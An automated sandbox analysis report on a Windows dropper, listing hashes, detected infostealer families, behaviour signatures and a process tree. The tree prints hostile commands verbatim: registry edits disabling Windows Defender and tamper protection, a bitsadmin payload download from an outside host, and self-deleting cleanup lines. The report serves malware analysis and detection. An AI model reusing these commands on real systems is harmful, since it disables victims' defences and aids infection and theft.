Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    19-04-2021 23:51

General

  • Target

    455D2C547DCACC8B6794A3FA0CCCEAC9.exe

  • Size

    10.1MB

  • MD5

    455d2c547dcacc8b6794a3fa0ccceac9

  • SHA1

    6efbe33712bddc491f54d7e03d7626941b7bd397

  • SHA256

    6e8a0a30744ed0130a2b32997e03ba5c07339ddf22e76c7ca64882d5d3f8cc4f

  • SHA512

    a4354ce47ae24ec6bb656ad6b80b07335da392de8e7c1c007ebd9b50e42cb0d7714ddc06597d8bde44ebea1c189220d7f5d263de6937e30ccb31ac3e7473c013

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe

Signatures

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 47 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible privilege escalation attempt 3 IoCs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 28 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
        • C:\Windows\system32\wbem\WMIADAP.EXE
          wmiadap.exe /F /T /R
          3⤵
            PID:1408
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:828
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:2552
      • C:\Users\Admin\AppData\Local\Temp\455D2C547DCACC8B6794A3FA0CCCEAC9.exe
        "C:\Users\Admin\AppData\Local\Temp\455D2C547DCACC8B6794A3FA0CCCEAC9.exe"
        1⤵
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1840
        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          PID:1464
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            3⤵
            • Executes dropped EXE
            PID:1016
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:2500
        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          PID:1996
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
            3⤵
              PID:2840
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im RunWW.exe /f
                4⤵
                • Kills process with taskkill
                PID:2972
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 6
                4⤵
                • Delays execution with timeout.exe
                PID:2540
          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
            2⤵
            • Executes dropped EXE
            PID:2020
          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:368
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
              3⤵
                PID:1916
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                  4⤵
                  • Loads dropped DLL
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1756
            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1384
              • C:\Users\Admin\AppData\Local\Temp\is-VO2GP.tmp\LabPicV3.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-VO2GP.tmp\LabPicV3.tmp" /SL5="$101B2,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1640
                • C:\Users\Admin\AppData\Local\Temp\is-53TIG.tmp\alpATCHInO.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-53TIG.tmp\alpATCHInO.exe" /S /UID=lab214
                  4⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  PID:2264
            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1600
              • C:\Users\Admin\AppData\Local\Temp\is-E2EKC.tmp\lylal220.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-E2EKC.tmp\lylal220.tmp" /SL5="$101B6,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:852
                • C:\Users\Admin\AppData\Local\Temp\is-K5TE8.tmp\ysAGEL.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-K5TE8.tmp\ysAGEL.exe" /S /UID=lylal220
                  4⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:2248
                  • C:\Program Files\Windows Defender\HSFJDLHCVL\irecord.exe
                    "C:\Program Files\Windows Defender\HSFJDLHCVL\irecord.exe" /VERYSILENT
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1572
                    • C:\Users\Admin\AppData\Local\Temp\is-IGHJC.tmp\irecord.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-IGHJC.tmp\irecord.tmp" /SL5="$4016C,6139911,56832,C:\Program Files\Windows Defender\HSFJDLHCVL\irecord.exe" /VERYSILENT
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in Program Files directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      PID:2744
                      • C:\Program Files (x86)\recording\i-record.exe
                        "C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1540
                  • C:\Users\Admin\AppData\Local\Temp\54-c1036-125-801ad-e24a5234d584d\Daluzhehibe.exe
                    "C:\Users\Admin\AppData\Local\Temp\54-c1036-125-801ad-e24a5234d584d\Daluzhehibe.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:2788
                    • C:\Program Files\Internet Explorer\iexplore.exe
                      "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                      6⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:2856
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2856 CREDAT:275457 /prefetch:2
                        7⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:676
                  • C:\Users\Admin\AppData\Local\Temp\7a-d4e09-ece-570a7-c778861a9c6d7\Bytaguwaexu.exe
                    "C:\Users\Admin\AppData\Local\Temp\7a-d4e09-ece-570a7-c778861a9c6d7\Bytaguwaexu.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2176
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hxk1f3mz.wlh\gpooe.exe & exit
                      6⤵
                        PID:2784
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\msncj5mx.jgz\jgjg_note8876.exe & exit
                        6⤵
                          PID:1472
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0i4m55im.5le\google-game.exe & exit
                          6⤵
                            PID:2352
                            • C:\Users\Admin\AppData\Local\Temp\0i4m55im.5le\google-game.exe
                              C:\Users\Admin\AppData\Local\Temp\0i4m55im.5le\google-game.exe
                              7⤵
                              • Executes dropped EXE
                              • Drops file in Program Files directory
                              • Modifies registry class
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              • Suspicious use of SetWindowsHookEx
                              PID:2696
                              • C:\Windows\SysWOW64\rundll32.exe
                                "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                8⤵
                                • Loads dropped DLL
                                • Modifies registry class
                                PID:1664
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\32d20ulj.hhb\build.exe & exit
                            6⤵
                              PID:1324
                              • C:\Users\Admin\AppData\Local\Temp\32d20ulj.hhb\build.exe
                                C:\Users\Admin\AppData\Local\Temp\32d20ulj.hhb\build.exe
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Checks processor information in registry
                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                PID:1588
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\32d20ulj.hhb\build.exe" & del C:\ProgramData\*.dll & exit
                                  8⤵
                                    PID:2696
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /im build.exe /f
                                      9⤵
                                      • Kills process with taskkill
                                      PID:1656
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /t 6
                                      9⤵
                                      • Delays execution with timeout.exe
                                      PID:2952
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kwhiyqcw.k11\askinstall31.exe & exit
                                6⤵
                                  PID:2864
                                  • C:\Users\Admin\AppData\Local\Temp\kwhiyqcw.k11\askinstall31.exe
                                    C:\Users\Admin\AppData\Local\Temp\kwhiyqcw.k11\askinstall31.exe
                                    7⤵
                                    • Executes dropped EXE
                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                    PID:2028
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      8⤵
                                        PID:1384
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          9⤵
                                          • Kills process with taskkill
                                          PID:1708
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4xnikgtv.er3\KiffApp2.exe & exit
                                    6⤵
                                      PID:3028
                                      • C:\Users\Admin\AppData\Local\Temp\4xnikgtv.er3\KiffApp2.exe
                                        C:\Users\Admin\AppData\Local\Temp\4xnikgtv.er3\KiffApp2.exe
                                        7⤵
                                        • Executes dropped EXE
                                        PID:2152
                                        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                          dw20.exe -x -s 528
                                          8⤵
                                            PID:2396
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xpohakel.ilw\inst.exe & exit
                                        6⤵
                                          PID:2544
                                          • C:\Users\Admin\AppData\Local\Temp\xpohakel.ilw\inst.exe
                                            C:\Users\Admin\AppData\Local\Temp\xpohakel.ilw\inst.exe
                                            7⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                            PID:656
                                            • C:\Users\Admin\AppData\Local\Temp\zIxQymcltQYQgGtPau\kSaZTA
                                              C:\Users\Admin\AppData\Local\Temp\zIxQymcltQYQgGtPau\kSaZTA
                                              8⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:1748
                                              • C:\Users\Admin\AppData\Local\Temp\hvZrAIjcTxqefbDCfF\FKERWK
                                                C:\Users\Admin\AppData\Local\Temp\hvZrAIjcTxqefbDCfF\FKERWK
                                                9⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: LoadsDriver
                                                PID:2784
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3oclvogs.ln5\toolspab1.exe & exit
                                          6⤵
                                            PID:432
                                            • C:\Users\Admin\AppData\Local\Temp\3oclvogs.ln5\toolspab1.exe
                                              C:\Users\Admin\AppData\Local\Temp\3oclvogs.ln5\toolspab1.exe
                                              7⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                              PID:928
                                              • C:\Users\Admin\AppData\Local\Temp\3oclvogs.ln5\toolspab1.exe
                                                C:\Users\Admin\AppData\Local\Temp\3oclvogs.ln5\toolspab1.exe
                                                8⤵
                                                • Executes dropped EXE
                                                • Checks SCSI registry key(s)
                                                • Suspicious behavior: MapViewOfSection
                                                PID:1576
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4x3i4csd.rrr\SunLabsPlayer.exe /S & exit
                                            6⤵
                                              PID:2264
                                              • C:\Users\Admin\AppData\Local\Temp\4x3i4csd.rrr\SunLabsPlayer.exe
                                                C:\Users\Admin\AppData\Local\Temp\4x3i4csd.rrr\SunLabsPlayer.exe /S
                                                7⤵
                                                • Executes dropped EXE
                                                • Drops file in Program Files directory
                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                PID:2484
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                  8⤵
                                                    PID:2256
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                    8⤵
                                                    • Drops file in Program Files directory
                                                    PID:3012
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                    8⤵
                                                    • Drops file in Program Files directory
                                                    PID:2076
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                    8⤵
                                                    • Drops file in Program Files directory
                                                    PID:1468
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                    8⤵
                                                      PID:920
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                      8⤵
                                                      • Drops file in Program Files directory
                                                      PID:1988
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy9889.tmp\tempfile.ps1"
                                                      8⤵
                                                      • Checks for any installed AV software in registry
                                                      • Drops file in Program Files directory
                                                      PID:1992
                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                      "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                      8⤵
                                                      • Download via BitsAdmin
                                                      PID:2848
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\se3juwpa.3xr\app.exe /8-2222 & exit
                                                  6⤵
                                                    PID:2316
                                                    • C:\Users\Admin\AppData\Local\Temp\se3juwpa.3xr\app.exe
                                                      C:\Users\Admin\AppData\Local\Temp\se3juwpa.3xr\app.exe /8-2222
                                                      7⤵
                                                        PID:2412
                                                        • C:\Users\Admin\AppData\Local\Temp\se3juwpa.3xr\app.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\se3juwpa.3xr\app.exe" /8-2222
                                                          8⤵
                                                          • Executes dropped EXE
                                                          • Modifies data under HKEY_USERS
                                                          PID:1152
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hxkxkc4y.mlc\f020d400.exe & exit
                                                      6⤵
                                                        PID:1296
                                                        • C:\Users\Admin\AppData\Local\Temp\hxkxkc4y.mlc\f020d400.exe
                                                          C:\Users\Admin\AppData\Local\Temp\hxkxkc4y.mlc\f020d400.exe
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                          • Suspicious behavior: MapViewOfSection
                                                          PID:1780
                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe
                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                • Modifies system certificate store
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1888
                                                • C:\ProgramData\5974649.exe
                                                  "C:\ProgramData\5974649.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Modifies system certificate store
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1044
                                                • C:\ProgramData\8642209.exe
                                                  "C:\ProgramData\8642209.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  • Adds Run key to start application
                                                  PID:2136
                                                  • C:\ProgramData\Windows Host\Windows Host.exe
                                                    "C:\ProgramData\Windows Host\Windows Host.exe"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2684
                                                • C:\ProgramData\7238504.exe
                                                  "C:\ProgramData\7238504.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:2308
                                                  • C:\ProgramData\7238504.exe
                                                    "{path}"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2380
                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe
                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetThreadContext
                                                PID:1544
                                                • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe
                                                  "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:1252
                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Setup.exe
                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Setup.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Suspicious use of WriteProcessMemory
                                                PID:796
                                                • C:\Users\Admin\AppData\Local\Temp\is-02D3J.tmp\Setup.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-02D3J.tmp\Setup.tmp" /SL5="$901AA,3629373,780800,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Setup.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  • Drops file in Program Files directory
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:944
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c ""C:\Program Files (x86)\build.bat" "
                                                    4⤵
                                                      PID:2288
                                                    • C:\Windows\SysWOW64\WScript.exe
                                                      "C:\Windows\System32\WScript.exe" "C:\ProgramData\CQTdmlD28xlID\iphjManIMEPA.vbs"
                                                      4⤵
                                                        PID:2348
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c ""C:\ProgramData\CQTdmlD28xlID\NIprUwIkiqLyAV.bat" "
                                                          5⤵
                                                            PID:2472
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
                                                              6⤵
                                                                PID:2804
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
                                                                6⤵
                                                                  PID:2148
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                  6⤵
                                                                    PID:2224
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                                                    6⤵
                                                                      PID:2296
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "0" /f
                                                                      6⤵
                                                                        PID:2280
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                                        6⤵
                                                                          PID:1612
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                                          6⤵
                                                                            PID:2316
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                                            6⤵
                                                                              PID:2400
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                                              6⤵
                                                                                PID:788
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                                                6⤵
                                                                                  PID:2288
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                                  6⤵
                                                                                    PID:2236
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                                                    6⤵
                                                                                      PID:2440
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                                                      6⤵
                                                                                        PID:2496
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                                        6⤵
                                                                                          PID:1308
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                                          6⤵
                                                                                            PID:1768
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                                                            6⤵
                                                                                              PID:592
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                              6⤵
                                                                                                PID:960
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                6⤵
                                                                                                  PID:2748
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                                                  6⤵
                                                                                                    PID:2820
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
